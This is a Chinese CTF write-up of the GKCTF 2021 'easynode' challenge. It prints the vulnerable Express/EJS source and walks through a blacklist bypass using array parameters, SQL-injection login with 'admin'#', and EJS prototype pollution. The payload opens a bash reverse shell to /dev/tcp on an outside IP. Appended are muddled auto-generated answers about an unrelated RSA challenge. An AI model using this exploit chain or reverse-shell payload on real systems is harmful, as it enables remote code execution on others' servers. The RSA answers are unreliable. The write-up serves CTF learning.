[GKCTF 2021]easynode

本文详细解析了一次通过弱类型转换和EJS模板引擎漏洞实现远程代码执行(RCE)的过程。首先,分析了应用的WAF过滤规则,利用数组弱类型特性绕过WAF,构造SQL注入,成功登录获取token。接着,通过添加特殊用户污染原型链,最终在/admin路由利用EJS渲染执行RCE。整个过程展示了Web安全中的常见攻击手段和防御绕过策略。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

[GKCTF 2021]easynode

知识点:

js 弱类型

ejs 原型链污染

解题:

源码:

const express = require('express');
const format = require('string-format');
const { select,close } = require('./tools');
const app = new express();
var extend = require("js-extend").extend
const ejs = require('ejs');
const {generateToken,verifyToken}  = require('./encrypt');
var cookieParser = require('cookie-parser');
app.use(express.urlencoded({ extended: true }));
app.use(express.static((__dirname+'/public/')));
app.use(cookieParser());



let safeQuery =  async (username,password)=>{

    const waf = (str)=>{
        // console.log(str);
        blacklist = ['\\','\^',')','(','\"','\'']
        blacklist.forEach(element => {
            if (str == element){
                str = "*";
            }
        });
        return str;
    }

    const safeStr = (str)=>{ for(let i = 0;i < str.length;i++){
        if (waf(str[i]) =="*"){
            
            str =  str.slice(0, i) + "*" + str.slice(i + 1, str.length);
        }
        
    }
    return str;
    }

    username = safeStr(username);
    password = safeStr(password);
    let sql = format("select * from test where username = '{}' and password = '{}'",username.substr(0,20),password.substr(0,20));
    // console.log(sql);
    result = JSON.parse(JSON.stringify(await select(sql)));
    return result;
}

app.get('/', async(req,res)=>{
    const html = await ejs.renderFile(__dirname + "/public/index.html")
    res.writeHead(200, {"Content-Type": "text/html"});
    res.end(html)
})
    

app.post('/login',function(req,res,next){

    let username = req.body.username;
    let password = req.body.password;
    safeQuery(username,password).then(
        result =>{
            if(result[0]){
                const token = generateToken(username)
                res.json({
                    "msg":"yes","token":token
                });
            }
            else{
                res.json(
                    {"msg":"username or password wrong"}
                    );
            }
        }
    ).then(close()).catch(err=>{res.json({"msg":"something wrong!"});});
  })
 

app.get("/admin",async (req,res,next) => {
    const token = req.cookies.token
    let result = verifyToken(token);
    if (result !='err'){
        username = result
        var sql = `select board from board where username = '${username}'`;
        var query = JSON.parse(JSON.stringify(await select(sql).then(close())));  
        board = JSON.parse(query[0].board);
        console.log(board);
        const html = await ejs.renderFile(__dirname + "/public/admin.ejs",{board,username})
        res.writeHead(200, {"Content-Type": "text/html"});
        res.end(html)
    } 
    else{
        res.json({'msg':'stop!!!'});
    }
});
  
app.post("/addAdmin",async (req,res,next) => {
    let username = req.body.username;
    let password = req.body.password;
    const token = req.cookies.token
    let result = verifyToken(token);
    if (result !='err'){
        gift = JSON.stringify({ [username]:{name:"Blue-Eyes White Dragon",ATK:"3000",DEF:"2500",URL:"https://ftp.bmp.ovh/imgs/2021/06/f66c705bd748e034.jpg"}});
        var sql = format('INSERT INTO test (username, password) VALUES ("{}","{}") ',username,password);
        select(sql).then(close()).catch( (err)=>{console.log(err)}); 
        var sql = format('INSERT INTO board (username, board) VALUES (\'{}\',\'{}\') ',username,gift);
        console.log(sql);
        select(sql).then(close()).catch( (err)=>{console.log(err)});
        res.end('add admin successful!')
    }
    else{
        res.end('stop!!!');
    }
});


app.post("/adminDIV",async(req,res,next) =>{
    const token = req.cookies.token
    
    var data =  JSON.parse(req.body.data)
    
    let result = verifyToken(token);
    if(result !='err'){
        username = result;
        var sql ='select board from board';
        var query = JSON.parse(JSON.stringify(await select(sql).then(close()))); 
        board = JSON.parse(query[0].board);
        console.log(board);
        for(var key in data){
            var addDIV = `{"${username}":{"${key}":"${data[key]}"}}`;
            
            extend(board,JSON.parse(addDIV));
        }
        sql = `update board SET board = '${JSON.stringify(board)}' where username = '${username}'`
        select(sql).then(close()).catch( (err)=>{console.log(err)}); 
        res.json({"msg":'addDiv successful!!!'});
    }
    else{
        res.end('nonono');
    }
});



app.listen(1337, () => {
    console.log(`App listening at port 1337`)
})

大概看一下,最后我们其实就需要达到 extend 去原型链污染,而且存在 ejs 模板引擎,所以可以RCE,所以就需要获得 token 登录,最后在 /admin 路由进行渲染,打到RCE

var addDIV = `{"${username}":{"${key}":"${data[key]}"}}`;
            
            extend(board,JSON.parse(addDIV));

看到这里,我们就是想让{'__proto__':{"outputFunctionName":"_tmp1;global.process.mainModule.require('child_process').exec('bash -c \"bash -i >& /dev/tcp/47.xxx.xxx.72/2333 0>&1\"');var __tmp2"}} 进行 extend 操作,

所以我们就需要让 username 等于 __proto,想要这样,就需要创建用户,就回到/addAdmin路由,所以我们就需要admintoken

回到最上面,

在这里插入图片描述

这里可以输出token,所以我们只需要登录成功就行,但是它对usernamepassword进行了WAF操作,我们就想进行绕过,核心代码:

let safeQuery =  async (username,password)=>{    // 过滤username和password中的危险字符并进行select查询
    const waf = (str)=>{
        // console.log(str);
        blacklist = ['\\','\^',')','(','\"','\'']
        blacklist.forEach(element => {
            if (str == element){
                str = "*";
            }
        });
        return str;
    }

    const safeStr = (str)=>{ for(let i = 0;i < str.length;i++){    // 配合 waf 函数将黑名单里的危险字符依次替换为 *
        if (waf(str[i]) =="*"){
            str =  str.slice(0, i) + "*" + str.slice(i + 1, str.length);
        }
    }
    return str;
    }
username = safeStr(username);
password = safeStr(password);
let sql = format("select * from test where username = '{}' and password = '{}'",username.substr(0,20),password.substr(0,20));

就是判断 username 和 password 的字符是否存在黑名单,存在转换成 * ,然后一看判断是 ==,可以使用弱类型绕过,即让username 为一个数组,这样 str[i] 就是一个键值,就直接绕过了WAF,但是这样的 username 还是一个数组啊,如何插入SQL语句中造成登录成功呢,

在 JS 中,如果将如果将两个数组相加,则最终数组将被转换成一个字符串:

在这里插入图片描述

因为WAF中存在拼凑操作,所以直接POST:

username[]=admin'#&username[]=1&username[]=1&username[]=1&username[]=1&username[]=1&username[]=1&username[]=1&username[]=1&username[]=(&password=123456

疑惑一:

为什么不能直接POST:username = [“admin’#”,1,1,1,1,1,1,1,1,1,’(’]&password=123456

。。。这不很简单吗,你没有将变量添加 [],浏览器就将它当作字符串了,后面这一串都被当成字符串了

疑惑二:

为什么 username 数组的长度需要一定长,没有达到一定长就无法成功登录

这样之后SQL语句就变成:

select * from test where username = 'admin'#,1,1,1,1,1,1,1,1,1*' and password = '123456'

因此 password 被注释了,所以直接就登陆了,然后回显 token ,

在这里插入图片描述

然后用次 token 去访问 /addAdmin 去创建用户:

在这里插入图片描述

然后获取 __proto__用户的 token ,然后用此 token 去POST data 数据污染

在这里插入图片描述

注意上面这里,需要对反弹 Shell 部分的命令进行 base64 编码避免一些控制字符的干扰。因为这里的POST方法发送的不是 JSON

然后访问 /admin 路由去渲染,进入 ejs 渲染引擎,触发RCE

在这里插入图片描述

### 回答1: [gkctf 2021]rrrrsa 是一道RSA加密相关的题目,需要解密出明文。具体的解题思路可以参考以下步骤: 1. 首先,我们需要获取到题目中给出的公钥和密文。公钥包括两个参数:n和e,密文为c。 2. 接下来,我们需要对公钥进行分解,得到p和q两个质数。可以使用工具或算法进行分解,比如使用yafu等工具。 3. 然后,我们可以计算出phi(n) = (p-1) * (q-1)。 4. 接着,我们需要求出d,即私钥。可以使用扩展欧几里得算法求解,也可以使用工具进行计算。 5. 最后,我们可以使用私钥d对密文c进行解密,得到明文m。 具体的实现过程可以参考RSA加密算法的原理和实现方法。需要注意的是,在实际的CTF比赛中,可能会对RSA加密算法进行一些变形或者加入一些附加条件,需要根据具体情况进行调整和处理。 ### 回答2: [gkctf 2021]rrrrsa 是 2021GKCTF信息安全比赛中的一道题目。这是一道RSA算法的题目,题目中给定了两个密文和两个公钥,要求参赛者求出明文。 要解决这道题目,需要对RSA算法有一定的了解,RSA算法是目前公认比较安全的加密算法之一,其基本原理是利用大数的分解难题来实现加密和解密。 在这道题目中,给出了两个密文和两个公钥,首先需要利用公钥将密文解密得到明文,然后用相应的算法求解出两个私钥。在RSA算法中,私钥的求解需要知道两个质数p和q,故需要对公钥进行分解并求出其中的两个质数。一旦求出两个私钥,则可用私钥解密密文得到明文。 在这道题目中,给出的密文是以十六进制表示的大数,而公钥是由两个大质数乘积构成的。根据RSA算法的基本原理,通过对密文使用公钥进行解密,即可得到明文,但需要注意的是,密文和公钥都需要进行处理,才能保证它们能够正确地被计算机所处理。 因此,参赛者需要熟练地掌握RSA算法的原理及应用,同时还需要具备一定的计算机处理能力,才能够成功地解决这道[gkctf 2021]rrrrsa的挑战。 ### 回答3: [gkctf 2021]rrrrsa是一道RSA密码学题目,在这道题目中,我们需要通过分解RSA公钥中的N来找到是否存在两个相同的质因数,从而破解RSA加密的密文,获得明文。 首先,我们可以通过给定的公钥N、e和密文c,利用RSA加密算法求出c的解密结果m。但是,这样显然并不是题目要求我们做的事情,因为我们无法知道RSA公钥中的质数。 那么,如何判断公钥中是否存在两个相同的质数呢?我们可以利用RSA加密算法的一个性质:当我们选择两个质数p和q,然后对它们进行乘法运算得到N时,我们再进行分解N时能得出的两个质数就是p和q。 因此,我们可以对给定的公钥N进行分解得到它的质数因子p和q,如果存在两个质因子相等,则说明存在两个相同的质数,这就意味着我们可以破解RSA加密的密文。 具体地说,在这道题目中,我们可以利用Python的gmpy2工具库中的下列函数来分解公钥N: gmpy2.factor(n) 接着,我们可以利用Python脚本进行以下步骤: 1. 读入给定的公钥N,调用函数factor分解出p和q; 2. 计算φ(N) = (p-1)*(q-1); 3. 计算d = e^-1 mod φ(N); 4. 调用Python库中的pow函数计算c^d mod N,得到明文m。 最后,我们就能够通过这些步骤,破解出RSA加密的密文c,获得明文m,完成这道[gkctf 2021]rrrrsa的挑战。
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值